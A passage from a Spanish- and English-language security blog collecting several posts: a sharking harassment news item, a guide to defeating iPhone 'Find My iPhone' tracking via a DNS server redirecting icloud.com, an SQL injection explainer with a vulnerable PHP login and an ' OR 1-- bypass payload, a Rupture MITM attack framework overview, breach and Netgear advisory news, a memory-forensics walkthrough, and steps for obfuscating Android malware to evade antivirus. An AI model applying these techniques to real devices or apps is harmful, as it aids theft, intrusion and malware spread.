Esa fue la única opción de la periodista Andrea Noel: volcarse a Twitter a pedir que el ataque del que fue víctima fuera compartido. Sólo así, explicó, logró atraer la atención de las autoridades en México.

“Si alguien reconoce a este imbécil, favor de identificarlo.Women should be able to walk safely. #FelizDiaDeLaMujer”, escribió Noel el 8 de marzo pasado, minutos después de haber sido víctima de sharking.

Luego de intentar con distintas autoridades, esa fue su única opción: apelar a las redes sociales, al trending, a lo viral. Aunque después sufrió las consecuencias: el acoso cibernético en su contra fue tal que tuvo que dejar el país.

La firma internacional en ciberseguridad, International Institute of Cyber Security, con oficinas en la Ciudad de México, ha estado al tanto de los casos de sharking.

David Thomas, especialista de la empresa, dijo en entrevista con EL UNIVERSAL que existen medidas personales que una víctima puede tomar en contra de este tipo de sitios.

“La víctima debe seguir cuatro o cinco pasos: primero, guardar el sitio web que contiene su imagen/video y anotar la dirección completa de la página; segundo, tomar una captura de pantalla, eso servirá como evidencia en caso de que presente una denuncia más tarde con la policía; tercero, buscar en el sitio a reportar el enlace/sección de Reportar Abuso (Report Abuse). La víctima debe presentar un informe en esa sección, adjuntando su foto e identificación válida. El segundo requisito es muy importante, ya que ayuda a las empresas a verificar su solicitud y a tomar acción inmediatamente”, explica Thomas.

El experto agrega que de no encontrar la sección Reportar Abuso, se intente comunicar con el sitio web a través de la sección Contacto y pedirles que eliminen el contenido.

Del dicho al hecho

México ocupa el tercer lugar en el mundo en delitos cibernéticos, de acuerdo con un informe de la Organización para la Cooperación y el Desarrollo Económicos (OCDE). Ante esto se creó la Policía Cibernética. Durante el anuncio oficial de dicha dependencia, el entonces titular de la Secretaría de Seguridad Pública capitalina, Jesús Rodríguez Almeida, anunció que este tipo de sitios podrían ser bloqueados.

“Este nuevo modelo podrá bloquear y cancelar todas aquellas páginas que pongan en riesgo y promuevan la comisión de algún delito”, dijo entonces el funcionario. Esto, según se explicó, debido al trabajo conjunto de la dependencia con la Unidad de Investigación Cibernética de la Procuraduría capitalina.

En 2014, a un año de instaurada la dependencia, se cerraron 15 sitios, en su mayoría fraudulentos y de pornografía infantil. En 2015, de acuerdo con el informe anual de la policía capitalina, la Unidad de Ciberdelincuencia Preventiva cerró 44 sitios por las mismas razones.

No obstante, foros como VoyeurAzteca y otros sitios pornográficos no han sido bloqueados, unos por estar fuera de México y otros por un vacío legal como estar conformados como “foros” y no como sitios pornográficos.

Además, de acuerdo con el funcionario de la Policía Cibernética, las denuncias por sharking y upskirt son difíciles de definir a la hora de saber a qué dependencia acudir.

Ambos ataques sexuales tienen dos vertientes: el físico, en elsharking sucede cuando la mujer es atacada para bajar sus calzoncillos; en el upskirt ocurre mientras un individuo graba por debajo de su falda, y el cibernético, que en ambos casos sucede cuando alguien publica videos del ataque en internet.

Para evitar ser víctima de sharking o de upskirt, expertos recomiendan asegurarse de que la configuración de privacidad en redes sociales como Facebook e Instagram esté siempre activa para evitar que los contenidos sean accesible a cualquier persona.

Ser cuidadoso en la manera en que se comparten datos personales a través de Facebook o WhatsApp; evitar revisar correo personal en cibercafés o con wifi público, y estar atento en tiendas de ropa sobre cámaras ocultas.

Fuente:http://www.eluniversal.com.mx/

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , .

¿CÓMO HACKEAR “BUSCAR MI IPHONE” EN TODAS LAS VERSIONES DE IPHONE / IPAD?

Posted on

Ckzzg6-VAAEJqDq (1)

Los usuarios que han perdido su iPhone inician sesión en su cuenta de iCloud y pone el teléfono en modo perdido, con código de acceso si no está ya establecido. El teléfono, tan pronto como se conecta a Internet, se sincronizará iCloud y queda atrapado o incluso borra toda a la configuración original según investigadores de empresa de seguridad informática.

Findmyiphone hack

El cuadro siguiente describe una situación en la que un usuario de iPhone es capaz de rastrear su teléfono a través de “ Buscar mi iPhone “.

Findmyiphone hack

Según investigadores de empresa de seguridad informática, estos son algunos métodos que pueden hacer a tus dispositivos de Apple ilocalizable (Hackeando Buscar mi iPhone)

CREACIÓN DE UN SERVIDOR DNS PRIVADO

Este es un método muy fácil y funciona 100 por ciento. Lo que se puede hacer es configurar un servidor DNS a medida y redirigir todo el (iCloud Buscar mi iPhone) tráfico a sí mismo o a otro lugar haciendo * icloud.com inalcanzable. Una vez reconfigurado, el IP del servidor se puede asignar a iPhone o a Gateway (Router).

Uno puede asignar la IP del servidor DNS a su Gateway router y conectar el iPhone. De esta manera, se puede usar el teléfono sin estar preocupado por tener el teléfono bloqueado, borrado o si se está rastreando de forma remota explica Dan Hayes un investigador de empresa de seguridad informática.

En iPhones con Jailbreak, guarda un archivo que puede ser modificado para bloquear las comunicaciones desde o hacia iCloud- sin el uso de Servidor DNS privado. Para el uso celular, un VPN puede ser configurado para usar este DNS en lugar de los predeterminados.

Findmyiphone hack

Método de comunicación entre iCloudy e iPhone perdido

find my iphone hack

ROMPER LA COMUNICACIÓN ENTRE ICLOUD Y EL IPHONE PERDIDO.

Este método es tan simple que hemos puesto en marcha un servidor DNS privado para fines de demostración. Podrían aprender esto durante un diplomado seguridad informática. El servidor se encuentra en 176.123.29.190 que redirige * iCloud.com para el tráfico a su IP local. Puede añadir esta IP DNS a tu iPhone, iPad o al router para intentar rastrear tu teléfono. Usted no será capaz de realizar un rastreo del mismo. La solicitud sólo se completará cuando se quita esta IP.

Findmyiphone hack

Find my iphone hack

Configura el IP del DNS privado en el router para bloquear * icloud.com

Este es una vulnerabilidad difícil de arreglar para cualquier persona, y Apple no es una excepción. Configurando un IP fijo no funcionará, podemos poner en nuestra lista negra el IP codificado en nuestro gateway para prescindir de él.

Configurando un proxy y pasando todo el tráfico a través de él, pero bloqueando el tráfico de iCloud hará que se desconecte del servidor de iCloud.

Aquí, nosotros interceptamos el tráfico de iCloud usando Burp Suite; sin embargo, requiere la instalación de un certificado de CA para poder interceptar el tráfico HTTPS. Pueden aprender como instalar certificado durante un diplomado seguridad informática. Tratamos de poner iPhone en modo de pérdida de iCloud colocando una nueva contraseña junto con un mensaje de advertencia y número de teléfono para mostrar en el cuadro de mensaje. iCloud envía toda esta información cuando se sincroniza con mi iPhone, el cual podemos interceptar.

Lo que es peor es que muchos de nosotros usamos mismo código PIN para nuestros otros dispositivos, si el código es el mismo para otros dispositivos será un día de suerte para el robo. Mucha información puede ser sacado del tráfico que el propietario se envía desde iCloud y el ladrón lo está leyendo.

Find my iphone hack

BLOQUEO CON PASSCODE Y BLOQUEO DE HUELLA DIGITAL

El bloqueo con PassCode puede ser considerado como un buen método para protegerse de todo esto, en cierta medida. El bloqueo con huella digital se considera más seguro pero requiere un pin/passcode. Aun así, existe cierta probabilidad de obtener la huella dactilar del titular de su / iPhone. Los dispositivos como IP Box están disponibles en el mercado los cuales pueden ser utilizados para romper el passcode de iPhone también pueden aprender sobre IP Box durantediplomado seguridad informática.

Find my iphone hack   Find my iphone hack

ERRORES QUE LAS PERSONAS HACEN QUE PIRATEAN LA CUENTA DE ICLOUD

  • Cuando el correo electrónico de iCloud está configurado en el buzón de iPhone o iPad. A menudo, la gente no cambia la contraseña de su correo electrónico tan pronto como se pierde. En tales casos, el correo electrónico se puede utilizar para restablecer su contraseña de iCloud acuerdo a investigadores de empresa de seguridad informática
  • Muchas personas no establecen código de acceso en su iPhone, y los que se lo hacen sobre todo eligen código de passcode(por ejemplo.,12345,147258,2580 etc.).
  • Muchos no usan Buscar mi iPhone ya que consume datos celulares.

Si el correo iCloud asociado ha sido añadido en el dispositivo de apple, y si los ladrones pueden tener acceso a ese correo electrónico entonces pueden solicitar restablecimiento de contraseña de iCloud por el correo y entrar en tu cuenta de iCloud. Investigadores de empresa de seguridad informática mencionan que una vez que están adentro, hay mucho que uno puede hacer, por ejemplo, apagar Buscar mi iPhone. También pueden bloquear todos los otros dispositivos de Apple que tengan el mismo ID de Apple, en el caso peor de los casos. Pueden aprender más sobre este ataque durante diplomado seguridad informática.

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , , .

¿QUÉ ES INYECCIÓN DE SQL Y CÓMO ARREGLARLA SEGURIDAD DE BASE DE DATOS?

Posted on

El primero en la lista de las diez vulnerabilidades más comunes (OWASP) es la inyección. Este tipo de hallazgo es más como una categoría, e incluye todos los tipos de vulnerabilidades donde una aplicación envía datos no confiables a un intérprete. Se encuentra a menudo en las consultas de bases de datos, pero otros ejemplos son los comandos OS, XML parsers o cuando la entrada del usuario se envía como variables acuerdo con los consultores de auditoría de base de datos.

Según maestros de curso de seguridad de base de datos, este es un tipo de vulnerabilidad muy común, especialmente en código antiguo, ya que era mucho más común hace unos años cuando estaban menos  conscientes del peligro. La Inyección de SQL debe ser considerada como la más conocida del tipo de inyección acuerdo con el curso de seguridad de base de datos. Como se trata de una categoría muy amplia de la vulnerabilidad, el riesgo varía mucho de un caso a otro. Como la inyección de SQL es el tipo de inyección más conocida, el impacto es a menudo el robo de datos de la base de datos. Eso puede incluir nombres de usuario, contraseña y otros datos confidenciales. El peor de los casos sería una adquisición completa del sistema, lo que ciertamente es posible dependiendo de dónde se dé la inyección y en qué entorno mencionan los consultores de auditoría de base de datos.

Este es un ataque que puede ser automatizado, lo que lo supone en mayor riesgo. Un atacante no necesita estar tras de ti, el simplemente puede escribir una secuencia que explota a tantos sitios como sea posible y si el tuyo es uno de ellos es una coincidencia.

Uno de los ataques más conocidos realizados por inyección de SQL estuvo dirigido contra Sony. Otro casi irónico fue cuando MySQL sufrió el mismo una inyección SQL. Como se puede entender partir de los ejemplos, grandes jugadores también están en riesgo y el resultado de un ataque puede ser aterrador sin algún tipo de auditoría de base de datos.

 ¿CÓMO DESCUBRIR LA INYECCIÓN DE SQL?

Para los usuarios más avanzados es una vulnerabilidad que pueden encontrarse a menudo mientras se está haciendo el análisis de código. Esa es la identificación de todas las consultas en la aplicación web y siguiendo el flujo de datos. Ya que a veces no genera ninguna reacción visible y puede ser difícil de detectar durante black box-test, a pesar de que a algunas veces eso es posible también. Según el curso de seguridad de base de datos, la inyección es una definición muy amplia que varía de un caso a otro, pero en general una inyección SQL clásico es muy fácil de explotar.

Un ejemplo típico de una inyección de SQL sería en un formulario de acceso, con el código que se muestra a continuación:

$db = new mysqli(‘localhost’, ‘root’, ‘passwd’, ‘base’); $result = $db->query(‘SELECT * FROM users WHERE user=”‘.$_GET[‘user’].’” AND pass= “‘.$_GET[‘password’].’”‘);

Supongamos que el atacante entra “ OR 1– como nombre de usuario y cualquier contraseña de todo el código y se terminara viendo así:

SELECT * FROM users WHERE user=”” OR 1 — AND pass=”whatever”

Después de — (lo que se indica el inicio de un comentario en SQL) será desechado e ignorado. El código será ejecutado cuando se vea de la siguiente manera:

SELECT * FROM users WHERE user=”” OR 1

El código establece ahora “Obtener todo, desde la lista de usuarios (donde el nombre de usuario coincide con nada o 1 (lo que se interpretara como cierto)”.

Desde que la última afirmación siempre resultará en cierto, la mano derecha de la declaración eliminara con éxito la declaración mano izquierda y la condición siempre será cierto. El resultado de esta consulta sería algo como éste:

SELECT * FROM users

El cual sería devolver todos los datos que hay sobre todos los usuarios. Ej., La inyección en el parámetro $ _GET [‘usuario’] es suficiente para hacer que el servidor MySQL seleccione el primer usuario y otorgué al atacante acceder a ese usuario.

REMEDIACIÓN

  1. Mientras las inyecciones son más de una categoría de vulnerabilidades, las soluciones varían de un caso a otro, dependiendo de qué tipo de vector y el intérprete que estamos hablando. Acuerdo el curso de auditoría de base de datos y seguridad de base de datos, la solución óptima es utilizar un API que, o bien evita el intérprete o proporciona una interfaz con parámetros. El código con parámetros no es difícil de hacer, y si usas PHP nosotros te recomendamos PDO. Puede sonar extraño al principio, pero en realidad no es tan difícil como tú podrías pensar en un principio. Ejemplos en otros idiomas pueden ser aprendidos durante el curso de seguridad de base de datos.
  2. Si el código parametrizado no es una opción en su caso, en su lugar debes escapar cuidadosamente de caracteres especiales. ¿Cómo se hace esto? depende del intérprete utilizado, y algunas veces tendrías que mejorar.
  3. La validación de entrada de la lista blanca es también una alternativa, pero a menudo no se puede utilizar como aplicación puede requerir caracteres especiales, como de entrada. Por ejemplo, un blog quiere permitir a sus visitantes hacer comentarios usando comillas, a pesar de que es carácter podría ser utilizado para salir de una consulta. En esos casos, es necesario ir con una solución de uno o dos.

Pueden aprender todo sobre remediación sobre inyección SQL curso de seguridad de base de datos y resolver las vulnerabilidades de sus sistemas informáticos.

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , , .

¿CÓMO REALIZAR LOS ATAQUES BASADOS EN COMPRESIÓN CON RUPTURE?

Posted on

compression based attacks

Acuerdo con los expertos de empresa de seguridad de la información, Rupture es un sistema para la realización de ataques de red contra los servicios web. Se centra en los ataques de compresión, pero proporciona un sistema escalable generalizado para realizar cualquier ataque a los servicios web que requieren un canal persistente de comando y control, así como la adaptación de ataque. Rupture es conveniente para cualquier ataque de plaintext elegido sobre la red. Rupture fue diseñado para llevar al cabo el ataque de los medios disponibles. Los investigadores de auditoría de base de datos, pasan mucho tiempo en la construcción de las implementaciones de prueba de concepto de violación e invertimos mucho tiempo para montar ataques contra los puntos extremos específicos. Se necesita mucho esfuerzo llevar a cabo un ataque de este tipo sin las herramientas adecuadas. Así, con rupture, el objetivo es hacer más fácil el montaje de este tipo de ataques y proporcionar razonables pre configurados por defecto, objetivos y estrategias de ataque que se pueden usar en la práctica o modificarse para adaptarse a la necesidad de nuevos ataques. El sistema está diseñado específicamente para permitir más investigaciones tanto en el lado práctico y teórico por parte de consultores de auditoría de base de datos y empresa de seguridad de la información. En el aspecto práctico, el monitoreo de la red y componentes de inyección son modulares y reemplazables. En el aspecto teórico, el análisis y el núcleo de la estrategia son independientes de los medios de recogida de datos, permitiendo a los criptógrafos teóricos verificar o rechazar la hipótesis de los análisis estadísticos.

INJECTOR

El componente del inyector es responsable de la inserción de código al ordenador de la víctima para su ejecución. Acuerdo con los expertos de empresa de seguridad de la información, puede utilizar Bettercap para llevar a cabo la inyección de HTTP. La inyección se realiza mediante ARP spoofing de la red local y envía todo el tráfico en el modo man-in-the-middle. Se trata simplemente de una serie de códigos shell que utilizan los módulos bettercap adecuados para llevar a cabo el ataque. Puesto que todas las respuestas HTTP están infectadas, esto proporciona que se tome mayor solidez. Como el componente del inyector necesita a funcionarse en una red víctima entonces es ligero y sin estado. Según experiencia de consultores de auditoría de base de datos, puede ser fácilmente implementado en una máquina tal como una raspberry pi, y se puede utilizar para ataques masivos. Múltiples inyectores se pueden implementar en diferentes redes, todos controlados por el mismo canal de comando y control central.

Rapture
Rapture

CLIENT

El cliente contiene lógica mínima. Se conecta con el servicio en tiempo real a través de un canal de comando y control y se registra allí. Posteriormente, se espera por instrucciones de trabajo por parte del canal de control y comando, que lo ejecuta. El cliente no toma ninguna decisión ni recibe datos sobre el progreso del ataque además del trabajo que pide que hacer. Esto es intencional para ocultar el funcionamiento de los mecanismos de análisis del adversario desde la víctima en caso de que la víctima intente hacer la ingeniería inversa de que el adversario está haciendo. Además, permite que el sistema se pueda actualizar sin tener que desplegar un nuevo cliente en la red de la víctima, lo cual puede ser un proceso difícil.

Como un usuario normal que está navegando por Internet, varios clientes se inyectarán en páginas inseguras y que se ejecutarán en diversos contextos. Todos ellos se registraran y mantendrán una conexión abierta a través de un canal de comando y control con el servicio en tiempo real. El servicio en tiempo real permitirá a uno de ellos por esta víctima, mientras que los demás se mantienen en estado latente. Entonces el único habilitado recibirá instrucciones de trabajo para ejecutar las solicitudes requeridas. Jorge Rios,  un investigador de auditoría de base de datos menciona que si el cliente activado muere por cualquier razón, tal como una pestaña cerrada, uno del resto de los clientes se despierta para asumir el control del ataque.

REAL-TIME

El servicio en tiempo real es un servicio que espera por las solicitudes de trabajo por parte los clientes. Puede manejar múltiples objetivos y las víctimas. Recibe las conexiones de comando y control de varios clientes que pueden vivir en diferentes redes, se organizan, y se les dice cuáles van a permanecer en estado latente y cuáles van a recibir el trabajo, lo que permite un cliente por víctima.

Acuerdo con los expertos de empresa de seguridad de la información, el servicio en tiempo real se desarrolla en Node.js. Esto mantiene las conexiones socket-web de comando y control abierta con los clientes y se conecta al servicio de backend, lo que facilita la comunicación entre los dos.

SNIFFER

El componente sniffer se encarga de recoger los datos directamente de la red de la víctima. A medida que el cliente pública las solicitudes plaintext, el sniffer recoge las respectivas solicitudes de texto cifrado y las respuestas del texto cifrado a medida que viajan en la red. Estos datos cifrados se transmiten a continuación al programa de fondo para su posterior análisis y descifrar. La aplicación sniffer se ejecuta en la misma red que la víctima.Jorge Rios,  un investigador de auditoría de base de datos menciona que es un programa de Python que utiliza un scapy para recoger datos de la red. El sniffer expone una HTTP API que es utilizada por el backend para controlar el inicio del monitoreo, cuando este es completado, y para recuperar los datos que se interceptaron.

Aquí está el vídeo de expertos de  seguridad de la información que muestra cómo hacer un ataque basados en la compresión con RUPTURE

 

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities and tagged , .

Over 45 Million passwords from Verticalscope 1,000 sites leaked online

Posted on

In February Verticalscope platform was hacked and more than 45 Million passwords from  1,000 websites running on it have been leaked online.

Data breaches, a never ending saga! Recently we reported a number of clamorous data breaches, hundred thousand million credentials were offered for sale in dark web. LinkedIn, mySpace, VKontakte, and Twitter are some of the companies affected by such kind of incidents.

Today we will discuss another huge amount of data leaked online, data belonging to more than 45 Million passwords from 1,000 Sites are offered for sale in the underground market.

In February Verticalscope.com and all of their domains were hacked, stolen data fueled the criminal underground.

The Verticalscope data breach would be one of the largest data breaches ever, according to data provided by the expert Troy Hunt on haveibeenpwned.com it is ranking sixth after the following ones:

  1. MySpace 359,420,698 My Space Accounts.
  2. LinkedIn 164,611,595 LinkedIn accounts.
  3. Adobe 152,445,165 Adobe accounts.
  4. VK 93,338,602 VK accounts.
  5. Tumblr logo 65,469,298 Tumblr accounts.

VerticalScope company owns and operates around 480 “online communities, content portals, and e-newsletters,” after the data breach data belonging its users were offered online for sale.

“Verticalscope.com and all of their domains were hacked in February of 2016. LeakedSource has obtained and added a copy of this data to its ever-growing searchable repository of leaked data.” reported LeakedSource who obtained the dataset and included its record in a searchable archive.

The records included in this new data set contain usernames, passwords, email addresses, and IP addresses of people who are members of car, sports, and tech sites such as AutoGuide.com, Motorcycle.com and Techsupportforum.com.

“This data set contains nearly 45 million records from over 1100 websites and communities. Some of the larger domains include Techsupportforum.com MobileCampsites.com Pbnation.com and Motorcycle.com. Each record may contain an email address, a username, an IP address, one password and in some cases a second password. We added this data set to LeakedSource on April 27th 2016 but only analyzed it now.
Given the massive scale of this breach, it is also likely that VerticalScope stored all of their data on interconnected or even the same servers as there is no other way to explain a theft on such a large scale. ZDNET reporter Zack Whittaker contacted VerticalScope on our behalf and they confirmed the breach in addition to our verification from April. ” continues LeakedSource.

According to Motherboard who also reported the news, the operators behind LeakedSource were able to crack 74 percent of all the stolen passwords. The experts explained that many websites used the MD5 hashing algorithm with salting to protect passwords, too easy for them to decode roughly 33 million passwords.

In the following table there are Verticalscope Top 5 passwords, the complete data is available of the site of the popular service. The most used password on VerticalScope websites was ‘123456,’ using weak passwords is a very bad habit.

Verticalscope Top 5 passwords

At the time I was writing is still unknown the identity of the culprit for the VerticalScope hack, this time, data weren’t provided by same actors that recently were mentioned in other data breaches.

As usual, let me suggest to use strong passwords, avoiding to share the account credentials on multiple web services and enable two-factor authentication every time you can.

Source:http://securityaffairs.co/

This entry was posted in Expoilts & Vulnerabilities.

Netgear removes crypto keys hard-coded in routers

Posted on

Qualys security researcher Mandar Jadhav has discovered two serious vulnerabilities in Netgear D6000 and D3600 modem routers, which can be exploited to gain access to the devices and to intercept traffic passing through them.

The vulnerabilities reside in the devices’ firmware, versions 1.0.0.47 and 1.0.0.49.

Netgear removes crypto keys

The first one (CVE-2015-8288) is due to the firmware containing a hard-coded RSA private key and a hard-coded X.509 certificate and key. An attacker that discovers this information can misuse it to gain administrator access to the device, implement man-in-the-middle attacks, or decrypt passively captured packets.

It can be exploited if an attacker can access the internal network, or remotely if remote management is enabled on the device.

The second one (CVE-2015-8289) is an authentication bypass flaw.

“A remote attacker able to access the /cgi-bin/passrec.asp password recovery page may be able to view the administrator password in clear text by opening the source code of above page,” Software Engineering Institute’s CERT Coordination Centerwarns.

According to the advisory, other models and firmware versions may also be impacted, but for now Netgear has confirmed the existence of these vulnerabilities only in the aforementioned router models and firmware versions.

They have provided firmware updates (v1.0.059) that fix the flaws, and urge users to implement it as soon as possible.

CERT CC also suggested a workaround to minimize the possibility of an attack exploiting these flaws: “Restrict network access to the Netgear device’s system web interface and other devices using open protocols like HTTP.”

The vulnerabilities have been unearthed and reported in December 2015.

Source:https://www.helpnetsecurity.com

This entry was posted in Expoilts & Vulnerabilities and tagged , .

¿CÓMO HACER UN ANÁLISIS FORENSE DIGITAL DEL INCIDENTE DE HACKING?

Posted on

CkPwhE1VAAAvUZz

Cuando una organización es una víctima de la infección por malware avanzado, se requiere una acción de respuesta rápida para identificar los indicadores asociados al malware para remediarlo, establecer mejores controles de seguridad para evitar que se presenten en el futuro. Con la ayuda de maestro de escuela de informática forense, en este artículo usted aprenderá a detectar la infección de malware avanzado en la memoria utilizando una técnica llamada “Memory Forensics” y también aprenderá a utilizar los kits de herramientas de forense, como la Volatility para detectar malware avanzado en escenario de caso real.

Según expertos de servicios de ciberseguridad de International institute of cyber security, el análisis forense de memoria es el análisis de la imagen de memoria tomada desde el ordenador en funcionamiento. La memoria forense juega un papel importante en las investigaciones y respuestas a incidentes. Puede ayudar en la extracción de artefactos de análisis forenses desde la memoria de la computadora como en un proceso en ejecución, conexiones de red, los módulos cargados, etc. También puede ayudar en el desembalaje, la detección de rootkits y la ingeniería inversa.

PASOS EN EL ANÁLISIS FORENSE DE MEMORIA

A continuación se muestra la lista de los pasos involucrados en el análisis forense de memoria según cursos de escuela de informática forense.

  1. Adquisición de memoria – Este paso consiste en el descargando de la memoria de la máquina de destino. En la máquina física se pueden utilizar herramientas como Win32dd / Win64dd, Memoryze, Dumpit, FastDump. Mientras que en la máquina virtual es más fácil adquirir la imagen de memoria, lo puedes hacer mediante la suspensión del VM agarrando el archivo “.vmem”
  2. Análisis de la memoria – una vez que una imagen de memoria es adquirida, el siguiente paso es analizar la imagen de la memoria. Herramientas para análisis forense como Volatility y otros como Memoryze puede ser utilizado para analizar la memoria según expertos de servicios de ciberseguridad.

Volatility es un framework de análisis forense de memoria escrita en Python. Una vez que la imagen de la memoria ha sido adquirida, podemos utilizar Volatility para realizar el análisis forense de memoria de la imagen adquirida. Según curso de escuela de informática forense, Volatility se puede instalar en varios sistemas operativos (Windows, Linux, Mac OS X).

 

ESCENARIO POSIBLE

Tu dispositivo de seguridad te alerta de una conexión maliciosa http con el dominio “web3inst.com” que resuelve a 192.168.1.2, se detecta una conexión de origen ip 192.168.1.100. Un experto servicios de ciberseguridad, se te pide que investigues y realices análisis forense de la memoria en la máquina de 192.168.1.100.

Forense

ADQUISICIÓN DE MEMORIA

Para empezar, la adquisición de la imagen de memoria desde 192.168.1.100, utilizando herramientas de adquisición de la memoria. El archivo de imagen de memoria se denomina como “infected.vmem”.

ANÁLISIS

Ahora que hemos adquirido “infected.vmem”, vamos a comenzar nuestro análisis utilizando Volatility avanzado esquema de análisis memoria.

Volatility, muestra la conexión a la IP maliciosa hecha por el proceso (con pid 888).

 

Forense

La búsqueda en Google muestra que este dominio (web3inst.com) es conocido por esta asociado con malware, (web3inst.com).Esto indica que el origen ip 192.168.1.100 podría estar infectado por cualquiera de estos malwares; necesitamos confirmar eso con un análisis más detallado.

 

Forense

 

Dado que la conexión de red a la ip 192.168.1.2 fue hecha por pid 888, tenemos que determinar qué proceso está asociado con pid 888. “psscan” muestra que pid 888 pertenece a svchost.exe.

 

Forense Digital

 

La ejecución del escaneo de YARA sobre imagen de memoria para el texto “web3inst” confirma que el dominio (web3inst.com) está presente en la memoria de svchost.exe (pid 888). Esto confirma que svchost.exe estaba haciendo conexiones con el dominio malicioso “web3inst.com”

 

Forense Digital

Ahora sabemos que el proceso svchost.exe estaba haciendo conexiones al dominio “web3inst.com”, vamos a centrarnos en este proceso. Comprobando el mutex creado por svchost.exe muestra un mutex sospechoso “TdlStartMutex”

 

Forense Digital

 

Examinando controladores de los archivos en svchost.exe muestra que controla dos archivos sospechosos.

 

Forense Digital

 

En el paso anterior se detectó DLL oculto. Este DLL oculto puede ser descargado desde la memoria al disco utilizando el módulo Volatility dlldump como se muestra a continuación

 

Forense Digital

 

Forense Digital

 

Al presentar el vaciado del DLL con VirusTotal confirma que eso es malicioso.

 

Forense Digital

 

Buscando el archivo controlador usando volatility plugin no se podría encontrar el controlador que empiece con “TDSS” mientras que Volatility’s driver scan plugin consiguió encontrarlo. Esto confirma que el controlador del kernel (TDSSserv.sys) estaba oculto.

 

Forense Digital

 

Vertiendo el controlador de kernel y enviándolo a VirusTotal confirmara que se trata de TDSS (Alureon) rootkit confirman expertos de servicios de ciberseguridad.

 

Forense Digital

Forense Digital

 

Conclusión

El análisis forense de memoria es una técnica de investigación de gran alcance y con una herramienta como Volatility es posible encontrar malwares avanzados y sus artefactos forenses de memoria lo que ayuda a la respuesta ante incidentes en el análisis de malware e ingeniería inversa. Como se vio, comenzando con poca información hemos sido capaces de detectar el malware avanzado y sus componentes. Podrían aprender más sobre forense con el curso de escuela de informática forense.

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities, Malware and tagged , , .

HERRAMIENTAS PARA OCULTAR MALWARE DE ANDROID Y EVITAR LA DETECCIÓN DEL ANTIVIRUS

Posted on

En este artículos vamos a hablar de herramientas que ayudan a ocultar las aplicaciones o Android malware con el propósito de hacer difícil su ingeniería inversa. De esta manera las posibilidades para copiar una aplicación o Android malware caen drásticamente. Según expertos de seguridad de aplicaciones de una empresa de pentesting (IICS), hay una gran cantidad de herramientas la ocultación, más o menos conocidas y algunas de ellas son:

Pro-guard: Se trata de una herramienta de ocultación incluida en el Android SDK, la cual es capaz de cambiar el nombre de clases, métodos y variables.

Pro-guard
Pro-guard

 

DexGuard: La versión comercial mejorada de Proguard. Esta herramienta es capaz de poner en práctica la técnica de encriptado de textos y cambiar el nombre de las clases y los métodos con los símbolos non ASCII.

DexGuard
DexGuard

Bangcle: Es un servicio online que permite poner en práctica algunas estrategias de ocultación con el objetivo de evitar la clonación de las aplicaciones, pero, al mismo tiempo, hay rumores de que atribuye a la ocultación, de algunos malware como Zeus y SMS Sender.

Bangcle
Bangcle

Allatori Java Obfuscator: Es una segunda generación de herramientas de ocultación de Java capaces de implementar varias técnicas de ocultación con el propósito de proteger la propiedad intelectual. De hecho debido a la aplicación de esta herramienta, hace muy difícil la ingeniería inversa del código.

Allatori Java Obfuscator
Allatori Java Obfuscator

Zipfile Python library: El formato zip es el estándar más difundido para la compresión. Esta biblioteca ofrece servicios a la lista como, extracción, lectura, crear y añadir archivos zip.

Zipfile Python library
Zipfile Python library

 

Dex2Jar: Es una herramienta gratuita para convertir el le.dex utilizado en aplicaciones de Android a formato Java file.class

Dex2Jar
Dex2Jar

 Dx: es una herramienta contenida en el Android SDK que se puede utilizar para convertir Java bytecode y JAR en file.dex (Dalvik bytecode).

Dx
Dx

Apktool: Es una herramienta gratuita con un montón de características. En particular, permite desmontar y volver a montar aplicaciones a archivos .apk.

Apktool
Apktool

Jarsigner: Es una herramienta de Oracle proporcionada con el Android SDK que se puede utilizar para firmar archivos apk / JAR y verificar la integridad de los ya firmados.

Jarsigner
Jarsigner

 

 

PROCESO DE OCULTACIÓN DE MALWARE (SOFTWARE MALICIOSO)

Expertos de seguridad de aplicaciones de una empresa de pentesting explican que primero que nada, el Zip file library se utiliza para extraer el contenido del file.apk que queremos ocultar. Para la ocultación nosotros estamos interesados en el file.dex, que contiene el código compilado de la aplicación. A continuación, la herramienta dex2jar convierte la file.dex, extraído antes, en un archivo JAR. En este punto podemos utilizar el Allatori obfuscador en este archivo. Usando el archivo XML el usuario puede especificar cuál es la técnica o la combinación que tiene que ser aplicada en el archivo JAR. Una vez que se realiza la ocultación necesitamos convertir el archivo JAR en .dex. Para ello usamos dx. Después de haber conseguido un file.dex oculto. El archivo se inserta en el directorio en el que los archivos originales de la aplicación se descomprimen y con uso del Apktool file.apk se reconstruye. Como último paso Jarsigner firma el nuevo archivo APK. La nueva aplicación oculta se envía al programa de antivirus para recuperar el informe relacionado con los resultados del análisis.

image022

Aquí podemos ver que cómo usando herramientas fáciles de encontrar es posible crear una estructura automática para ocultar y probar un gran número de malware. Esta estructura se crea exclusivamente para evaluar la eficacia de las técnicas de ocultación contra herramientas de análisis estático que analizan el código de la aplicación sin ejecutarlo.

Con ayuda de expertos de seguridad de aplicaciones de una empresa de pentesting, en este artículo se han introducido técnicas de ocultación, nacidas para evitar los plagios de aplicaciones Android. En lugar de ello, en los últimos años, han jugado un papel muy importante para evitar la detección de los motores de los anti-virus. De hecho, el análisis estático es el único análisis que puede ser implementado en dispositivos móviles, debido a sus capacidades bajas de hardware mencionan expertos de empresa de pentesting. Este tipo de análisis se desmonta y descompila recursos y archivos de la aplicación para el estudio de cada componente, sin ejecutarlo. En particular, las herramientas de detección comparan archivos hashes (firmas) de la aplicación analizada a una base de datos de muestras de maliciosos conocidos. También inspeccionan los componentes de la aplicación para encontrar firmas de código malicioso. Para las herramientas de análisis estático es muy difícil comparar la ocultación de aplicación / código con las muestras en su base de datos. En el curso de seguridad móvil y seguridad de aplicaciones fácilmente se puede aprender cómo crear software malicioso (malware), con fáciles herramientas disponibles, y cómo implementar técnicas de ocultación comunes y poner a prueba su eficacia contra de antivirus.

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities, Virus, Malware, Spyware and tagged , , , .

Malicious Documents leveraging new Anti-VM & Anti-Sandbox techniques

Posted on

Malicious documents with macros evading automated analysis systems.

Introduction

